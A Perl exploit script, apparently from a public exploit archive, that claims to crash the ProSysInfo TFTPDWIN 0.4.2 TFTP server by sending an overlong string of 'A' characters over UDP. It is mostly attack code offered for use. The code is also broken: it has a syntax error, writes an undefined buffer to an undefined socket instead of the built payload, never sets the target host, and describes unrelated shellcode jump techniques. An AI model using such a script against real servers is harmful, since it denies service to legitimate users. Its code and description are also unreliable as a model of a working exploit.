#!/usr/bin/perl


use IO::Socket::INET;

# Exploit Title: ProSysInfo TFTP Server TFTPDWIN 0.4.2 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 20 january 2024
# Vendor Homepage:  N/A
# Download to demo: https://drive.google.com/file/d/1MLqBkCyu0dA-cNgYxCAO8xbsVcof060Z/view?usp=sharing
# Notification vendor: No reported
# Tested Version: ProSysInfo TFTP Server TFTPDWIN 0.4.2
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://www.youtube.com/watch?v=BuONti1AWoU

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The TFTP server does not correctly handle the amount of data or bytes sent..
#When authenticating to the TFTP server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }

    system("$cmd");
    
    intro();
    main();
    
    print "[+] Exploiting... \n";

    my $payload = "\x41"x520;

my $socket = IO::Socket::INET->new(
    PeerAddr => $tftp_server,
    PeerPort => 69,
    Proto    => 'udp'
) die "Não foi possível conectar ao servidor TFTP: $!\n" unless $socket;

    print $ftp_socket $buffer;

    close($socket);

    print "[+] Done - Exploited success!!!!!\n\n";
  
   sub intro {
      print "######################################################################\n";
      print "#                                                                    #\n";      
      print "#     ProSysInfo TFTP Server TFTPDWIN 0.4.2 - Denied of Service      #\n";
      print "#                                                                    #\n";
      print "#                       Coded by Fernando Mengali                    #\n";
      print "#                                                                    #\n";
      print "#                 e-mail: fernando.mengalli\@gmail.com               #\n";
      print "#                                                                    #\n";
      print "######################################################################\n";
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "       \nUsage: $0 <ip> <port>                 \n";
        exit(-1);

      }
  }

#3. Solution/ How to fix:

# This version product is deprecated